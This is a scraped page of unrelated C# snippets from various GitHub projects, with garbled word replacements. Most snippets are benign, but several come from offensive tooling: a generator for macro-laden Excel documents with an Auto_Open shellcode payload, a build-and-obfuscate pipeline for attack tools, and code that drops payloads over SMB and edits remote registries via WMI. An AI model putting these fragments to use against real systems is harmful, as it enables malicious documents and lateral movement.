                    Console.ResetColor();
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("         No errors!");
                    Console.ResetColor();
                }

                //Gets all references to the project to obfuscate it with confuser
                SolutionFile s = SolutionFile.Parse(solutionPath);
                foreach (ProjectInSolution p in s.ProjectsInOrder)
                {
                    if (File.Exists(p.AbsolutePath))
                    {
                        XNamespace msbuild = "http://schemas.microsoft.com/developer/msbuild/2003";
                        XDoreplacedent projDefinition = XDoreplacedent.Load(p.AbsolutePath);
                        IEnumerable<string> references = projDefinition
                            .Element(msbuild + "Project")
                            .Elements(msbuild + "ItemGroup")
                            .Elements(msbuild + "Reference")
                            .Elements(msbuild + "HintPath")
                            .Select(refElem => refElem.Value);
                        foreach (string reference in references)
                        {
                            string referenceFile = reference.Replace(@"..\", "");
                            if (File.Exists(Path.Combine(new string[] { Path.GetDirectoryName(solutionPath), referenceFile })))
                            {
                                File.Copy(
                                    Path.Combine(new string[] { Path.GetDirectoryName(solutionPath), referenceFile }),
                                    Path.Combine(new string[] { finalPath, Path.GetFileName(referenceFile) }),
                                    true);
                            }
                        }
                    }

                }
            }
            return finalPath;
        }

19 View Source File : Program.cs
License : Apache License 2.0
Project Creator : aaaddress1

static void Main(string[] args) 
            {
            Console.WriteLine(@" ====================================== ");
            Console.WriteLine(@"  xlsGen v1.0, by [email protected]");
            Console.WriteLine(@"  github.com/aaaddress1/xlsGen");
            Console.WriteLine(@" ====================================== ");
            Console.WriteLine();

            var decoyDocPath = @"decoy_doreplacedent.xls";
                Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);

                List<BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();

                WorkbookStream wbs = LoadDecoyDoreplacedent(decoyDocPath);
                Console.WriteLine(wbs.ToDisplayString()); // that'll be cool if there's a hex-print :)

                List<string> sheetNames = wbs.GetAllRecordsByType<BoundSheet8>().Select(bs => bs.stName.Value).ToList();
                List<string> preambleCode = new List<string>();
                WorkbookEditor wbe = new WorkbookEditor(wbs);

                var macroSheetName = "Sheet2";
                wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.Visible);

                List<string> macros = null;
                byte[] binaryPayload = null;
                int rwStart = 0, colStart = 2, dstRwStart = 0, dstColStart = 0;
                int curRw = rwStart, curCol = colStart;

        
                binaryPayload = File.ReadAllBytes("popcalc.bin");
                wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod.Base64);
                curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
                macros = MacroPatterns.GetBase64DecodePattern(preambleCode);

            //Orginal: wbe.SetMacroSheetContent(macros, 0, 2, dstRwStart, dstColStart, SheetPackingMethod.ObfuscatedCharFuncAlt);
            macros.Add("=GOTO(R1C1)");
                wbe.SetMacroSheetContent_NoLoader(macros, rwStart, colStart);
                wbe.InitializeGlobalStreamLabels();
                wbe.AddLabel("Auto_Open", rwStart, colStart);

            #region save Workbook Stream to file
            WorkbookStream createdWorkbook = wbe.WbStream;
            ExcelDocWriter writer = new ExcelDocWriter();
            string outputPath = "a.xls";
            Console.WriteLine("Writing generated doreplacedent to {0}", outputPath);
            writer.WriteDoreplacedent(outputPath, createdWorkbook, null);
            #endregion 
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : Aetsu

static void replacedyzeTools()
        {
            string[] toolList = Directory.GetFiles("Tools", "*.yml");
            foreach (string tool in toolList)
            {
                string outputFolder = string.Empty;
                string toolPath = string.Empty;
                string text = File.ReadAllText(tool);
                var stringReader = new StringReader(text);
                var yaml = new YamlStream();
                yaml.Load(stringReader);
                var mapping = (YamlMappingNode)yaml.Doreplacedents[0].RootNode;

                foreach (var entry in mapping.Children)
                {
                    var items = (YamlSequenceNode)mapping.Children[new YamlScalarNode("tool")];
                    foreach (YamlMappingNode item in items)
                    {
                        Console.ForegroundColor = ConsoleColor.Cyan;
                        Console.WriteLine("\n[+] Name: {0}", item.Children[new YamlScalarNode("name")]);
                        Console.ResetColor();
                        Console.WriteLine("     - Description: {0}\n     - Git link: {1}\n     - Solution file: {2}\n",
                            item.Children[new YamlScalarNode("description")],
                            item.Children[new YamlScalarNode("gitLink")],
                            item.Children[new YamlScalarNode("solutionPath")]);

                        try
                        {
                            toolPath = Build.DownloadRepository(item.Children[new YamlScalarNode("name")].ToString()
                            , item.Children[new YamlScalarNode("gitLink")].ToString());
                            outputFolder = Build.BuildTool(
                                item.Children[new YamlScalarNode("solutionPath")].ToString(),
                                item.Children[new YamlScalarNode("name")].ToString());
                            if (Helpers.ExecuteCommand("RMDIR \"" + toolPath + "\" /S /Q") != 0)
                            {
                                Console.ForegroundColor = ConsoleColor.Red;
                                Console.WriteLine("         Error -> RMDIR: {0}", toolPath);
                                Helpers.LogToFile("replacedyzeTools", "ERROR", "RMDIR: <" + toolPath + ">");
                                Console.ResetColor();
                            }
                            Build.Confuse(outputFolder);
                            Helpers.CalculateMD5Files(outputFolder);
                            Console.ForegroundColor = ConsoleColor.Magenta;
                            Console.WriteLine("     Output folder: {0}", outputFolder);
                            Console.ResetColor();
                        } 
                        catch (Exception ex)
                        {
                            Console.WriteLine("         Error -> replacedyzing: <{0}> -> {1}", item.Children[new YamlScalarNode("name")], ex.ToString());
                            Helpers.LogToFile("replacedyzeTools", "ERROR", "replacedyzing: <" + item.Children[new YamlScalarNode("name")] + "> -> " + ex.ToString());
                        }
                    }
                }
            }
        }

19 View Source File : SteamBotController.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

static void OnFriendsList(SteamFriends.FriendsListCallback callback)
        {
            // at this point, the client has received it's friends list

            int friendCount = steamFriends.GetFriendCount();

            Console.WriteLine("We have {0} friends", friendCount);

            for (int x = 0; x < friendCount; x++)
            {
                // steamids identify objects that exist on the steam network, such as friends, as an example
                SteamID steamIdFriend = steamFriends.GetFriendByIndex(x);


                AccountController.getAccount(user).AddFriend(new Friend() { steamFrindsID = "" + steamIdFriend.ConvertToUInt64().ToString(), chatLog = new ArrayList(), SteamIDObject = steamIdFriend });

                // we'll just display the STEAM_ rendered version
                Console.WriteLine("Friend: {0}", steamIdFriend.Render());
            }

            // we can also iterate over our friendslist to accept or decline any pending invites
            if (SteamTwoProperties.jsonSetting.autoAddFriendSetting)
            {
                foreach (var friend in callback.FriendList)
                {
                    if (friend.Relationship == EFriendRelationship.RequestRecipient)
                    {
                        // this user has added us, let's add him back
                        steamFriends.AddFriend(friend.SteamID);
                    }
                }
            }
        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : Aetsu

static void CheckStart()
        {
            int error = 0;
            if (!File.Exists(Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "nuget.exe" })))
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("   [*] Downloading nuget.exe...");
                Console.ResetColor();
                //Download nuget.exe
                error = Helpers.DownloadResources(@"https://dist.nuget.org/win-x86-commandline/latest/nuget.exe", "nuget.exe", "Resources");
                if (error != 0)
                {
                    System.Environment.Exit(1);
                }
            }
            if (!Directory.Exists(Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "ConfuserEx" })))
            {
                Console.ForegroundColor = ConsoleColor.Yellow;
                Console.WriteLine("   [*] Downloading ConfuserEx...");
                Console.ResetColor();
                //Download ConfuserEx
                error = Helpers.DownloadResources(@"https://github.com/mkaring/ConfuserEx/releases/download/v1.4.1/ConfuserEx-CLI.zip", "ConfuserEx.zip", "Resources");
                if (error != 0)
                {
                    System.Environment.Exit(1);
                }
                error = Helpers.UnzipFile(
                    Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "ConfuserEx.zip" }),
                    Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "ConfuserEx" }));
                if (error != 0)
                {
                    System.Environment.Exit(1);
                }
                try
                {
                    File.Delete(Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "ConfuserEx.zip" }));
                }
                catch (Exception ex)
                {
                    Console.WriteLine("         Error ->  deleting <" + Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "ConfuserEx.zip" }) + "> - " + ex.ToString());
                    Helpers.LogToFile("CheckStart", "ERROR", "Deleting: <" + Path.Combine(new string[] { Directory.GetCurrentDirectory(), "Resources", "ConfuserEx.zip" }) + "> - " + ex.ToString());
                }
            }
            string buildToolsPath = @"C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\Common7\Tools\VsDevCmd.bat";
            if (!File.Exists(buildToolsPath))
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine("         Error -> File not found: {0}", buildToolsPath);
                Console.WriteLine("             Install -> Build Tools for Visual Studio 2019");
                Helpers.LogToFile("CheckStart", "ERROR", "File not found: <" + buildToolsPath + ">");
                Console.ResetColor();
                System.Environment.Exit(1);
            }
        }

19 View Source File : BitfinexTest.cs
License : MIT License
Project Creator : aabiryukov

public static void Test()
		{

            using (var wsApi = new BitfinexSocketApi())
			{
                BitfinexSocketApi.SetLogVerbosity(Bitfinex.Logging.LogVerbosity.Info);

                Console.WriteLine("Bitfinex: Socket starting...");
                wsApi.Connect();

                Task.Delay(3000).Wait();
/*
                var subcribtion1 = wsApi.SubscribeToTradingPairTicker("tETHBTC", summary =>
                {
                    Console.WriteLine($"{DateTime.Now} BTC-ETH: {summary.LastPrice}");
                });
                Console.WriteLine($"Subcribtion1: {subcribtion1}");
*/

                var subcribtion2 = wsApi.SubscribeToOrderBooks("tETHBTC", OnOrderBooks, frequency: Frequency.F0, length: 1);
                Console.WriteLine($"Subcribtion2: {subcribtion2}");

                Console.ReadLine();
			}

/*
			var ticker = BitfinexApi.GetPublicTicker(BtcInfo.PairTypeEnum.btcusd, BtcInfo.BitfinexUnauthenicatedCallsEnum.pubticker);
			Console.WriteLine(ticker.LastPrice);

			var trades = BitfinexApi.GetPairTrades(BtcInfo.PairTypeEnum.btcusd, BtcInfo.BitfinexUnauthenicatedCallsEnum.trades);
			Console.WriteLine("trades.Count=" + trades.Count);

			var orderBook = BitfinexApi.GetOrderBook(BtcInfo.PairTypeEnum.btcusd);
			Console.WriteLine("orderBook.Asks.Length={0}, orderBook.Bids.Length={1}", orderBook.Asks.Length, orderBook.Bids.Length);
*/
			var api = new BitfinexApi(ApiKey, ApiSecret);

			var balances = api.GetBalances();
			var usd = balances.FirstOrDefault(x => x.Type == "exchange" && x.Currency == "usd");
			var btc = balances.FirstOrDefault(x => x.Type == "exchange" && x.Currency == "btc");
			Console.WriteLine("usd: " + usd);
			Console.WriteLine("btc: " + btc);

			foreach (var balance in balances)
			{
				Console.WriteLine("balance: " + balance);
			}

			var info = api.GetAccountInformation();
			Console.WriteLine("Account info: {0}", info);

			var openOrders = api.GetActiveOrders();
			Console.WriteLine("Open orders: {0}", openOrders.Count());
/*
			var cancelResult = api.CancelOrder(12345);
			Console.WriteLine("CancelOrder: {0}", cancelResult);

			var sellAnswer = api.Sell(12456.3M, 2);
			Console.WriteLine("Sell: {0}", sellAnswer);

			var buyAnswer = api.Buy(12.3M, 1);
			Console.WriteLine("Buy: {0}", buyAnswer);
 */ 
		}

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void WriteToFileSMB(string host, string droploc, string fname, string paylocation)
        {
            try
            {
                byte[] filen = null;
                var writeuncpath = String.Format(@"\\{0}\C${1}\{2}", host, droploc, fname);
                //this is meant to be updated to compile file into replacedembly
                if (Path.IsPathRooted(paylocation))
                {
                    filen = File.ReadAllBytes(paylocation);
                }
                Console.WriteLine("[+] Writing data to      :  {0}", host);
                File.WriteAllBytes(writeuncpath, filen);
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Error     :  {0}", ex.Message);
                return;
            }
        }

19 View Source File : SteamBotController.cs
License : GNU General Public License v3.0
Project Creator : 00000vish

static void OnConnected(SteamClient.ConnectedCallback callback)
        {
            Console.WriteLine("Connected to Steam! Logging in '{0}'...", user);

            byte[] sentryHash = null;
            if (File.Exists("sentry.bin"))
            {
                // if we have a saved sentry file, read and sha-1 hash it
                byte[] sentryFile = File.ReadAllBytes("sentry.bin");
                sentryHash = CryptoHelper.SHAHash(sentryFile);
            }

            steamUser.LogOn(new SteamUser.LogOnDetails
            {
                Username = user,
                Preplacedword = preplaced,

                // in this sample, we preplaced in an additional authcode
                // this value will be null (which is the default) for our first logon attempt
                AuthCode = authCode,

                // if the account is using 2-factor auth, we'll provide the two factor code instead
                // this will also be null on our first logon attempt
                TwoFactorCode = twoFactorAuth,

                // our subsequent logons use the hash of the sentry file as proof of ownership of the file
                // this will also be null for our first (no authcode) and second (authcode only) logon attempts
                SentryFileHash = sentryHash,
            });
        }

19 View Source File : Ribbon.cs
License : GNU General Public License v3.0
Project Creator : 0dteam

public String GetURLsAndAttachmentsInfo(MailItem mailItem)
        {
            string urls_and_attachments = "---------- URLs and Attachments ----------";

            var domainsInEmail = new List<string>();

            var emailHTML = mailItem.HTMLBody;
            var doc = new HtmlAgilityPack.HtmlDoreplacedent();
            doc.LoadHtml(emailHTML);

            // extracting all links
            var urlsText = "";
            var urlNodes = doc.DoreplacedentNode.SelectNodes("//a[@href]");
            if(urlNodes != null)
            {
                urlsText = "\n\n # of URLs: " + doc.DoreplacedentNode.SelectNodes("//a[@href]").Count;
                foreach (HtmlNode link in doc.DoreplacedentNode.SelectNodes("//a[@href]"))
                {
                    HtmlAttribute att = link.Attributes["href"];
                    if (att.Value.Contains("a"))
                    {
                        urlsText += "\n --> URL: " + att.Value.Replace(":", "[:]");
                        // Domain Extraction
                        try
                        {
                            domainsInEmail.Add(new Uri(att.Value).Host);
                        }
                        catch (UriFormatException)
                        {
                            // Try to process URL as email address. Example -> <a href="mailto:[email protected]">...etc
                            String emailAtChar = "@";
                            int ix = att.Value.IndexOf(emailAtChar);
                            if (ix != -1)
                            {
                                string emailDomain = att.Value.Substring(ix + emailAtChar.Length);
                                try
                                {
                                    domainsInEmail.Add(new Uri(emailDomain).Host);
                                }
                                catch (UriFormatException)
                                {
                                    // if it fails again, ignore domain extraction
                                    Console.WriteLine("Bad url: {0}", emailDomain);
                                }
                            }
                        }
                    }
                }
            }
            else
                urlsText = "\n\n # of URLs: 0";

            // Get domains
            domainsInEmail = domainsInEmail.Distinct().ToList();
            urls_and_attachments += "\n # of unique Domains: " + domainsInEmail.Count;
            foreach (string item in domainsInEmail)
            {
                urls_and_attachments += "\n --> Domain: " + item.Replace(":", "[:]");
            }

            // Add Urls
            urls_and_attachments += urlsText;

            urls_and_attachments += "\n\n # of Attachments: " + mailItem.Attachments.Count;
            foreach (Attachment a in mailItem.Attachments)
            {
                // Save attachment as txt file temporarily to get its hashes (saves under User's Temp folder)
                var filePath = Environment.ExpandEnvironmentVariables(@"%TEMP%\Outlook-Phishaddin-" + a.DisplayName + ".txt");
                a.SaveAsFile(filePath);

                string fileHash_md5 = "";
                string fileHash_sha256 = "";
                if (File.Exists(filePath))
                {
                    fileHash_md5 = CalculateMD5(filePath);
                    fileHash_sha256 = GetHashSha256(filePath);
                    // Delete file after getting the hashes
                    File.Delete(filePath);
                }
                urls_and_attachments += "\n --> Attachment: " + a.FileName + " (" + a.Size + " bytes)\n\t\tMD5: " + fileHash_md5 + "\n\t\tSha256: " + fileHash_sha256 + "\n";
            }
            return urls_and_attachments;
        }

19 View Source File : FLRPC.cs
License : GNU General Public License v3.0
Project Creator : 0x2b00b1e5

private static void OnReady(object sender, ReadyMessage args)
        {
            //This is called when we are all ready to start receiving and sending discord events. 
            // It will give us some basic information about discord to use in the future.

            //It can be a good idea to send a inital presence update on this event too, just to setup the inital game state.
            Console.WriteLine("On Ready. RPC Version: {0}", args.Version);

        }

19 View Source File : Program.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void RemoveRegValue(string host, string username, string preplacedword, string keypath, string keyname)
        {
            if (!keypath.Contains(":"))
            {
                Console.WriteLine("[-] Please put ':' inbetween hive and path: HKCU:Location\\Of\\Key");
                return;
            }
            if (!String.IsNullOrEmpty(host))
            {
                host = "127.0.0.1";
            }
            string[] reginfo = keypath.Split(':');
            string reghive = reginfo[0];
            string wmiNameSpace = "root\\CIMv2";
            UInt32 hive = 0;
            switch (reghive.ToUpper())
            {
                case "HKCR":
                    hive = 0x80000000;
                    break;
                case "HKCU":
                    hive = 0x80000001;
                    break;
                case "HKLM":
                    hive = 0x80000002;
                    break;
                case "HKU":
                    hive = 0x80000003;
                    break;
                case "HKCC":
                    hive = 0x80000005;
                    break;
                default:
                    Console.WriteLine("[X] Error     :  Could not get the right reg hive");
                    return;
            }
            ConnectionOptions options = new ConnectionOptions();
            Console.WriteLine("[+] Target             : {0}", host);
            if (!String.IsNullOrEmpty(username))
            {
                Console.WriteLine("[+] User               : {0}", username);
                options.Username = username;
                options.Preplacedword = preplacedword;
            }
            Console.WriteLine();
            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wmiNameSpace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+]  WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connecto to WMI    : {0}", ex.Message);
                return;
            }

            try
            {
                //Probably stay with string value only
                ManagementClreplaced registry = new ManagementClreplaced(scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("DeleteValue");
                inParams["hDefKey"] = hive;
                inParams["sSubKeyName"] = keypath;
                inParams["sValueName"] = keyname;
                ManagementBaseObject outParams1 = registry.InvokeMethod("DeleteValue", inParams, null);
                Console.WriteLine("[+] Deleted value at {0} {1}", keypath, keyname);
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[-] {0}", ex.Message));
                return;
            }
        }

19 View Source File : DellFanManagementApp.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

private static int SmiGetToken(string[] args)
        {
            uint token = uint.Parse(args[1], NumberStyles.HexNumber);

            Console.WriteLine("Reading token {0:X4}", token);

            uint? currentValue = DellSmbiosSmi.GetTokenCurrentValue((Token)token);

            if (currentValue != null)
            {
                Console.WriteLine("  Current value: {0}", currentValue);

                uint? expectedValue = DellSmbiosSmi.GetTokenSetValue((Token)token);

                if (expectedValue != null)
                {
                    Console.WriteLine("  Expected value: {0}", expectedValue);
                    return 0;
                }
                else
                {
                    Console.WriteLine("  Failed to read expected value.");
                    return 1;
                }
            }
            else
            {
                Console.WriteLine("  Failed to read current value.");
                return 1;
            }
        }

See More Examples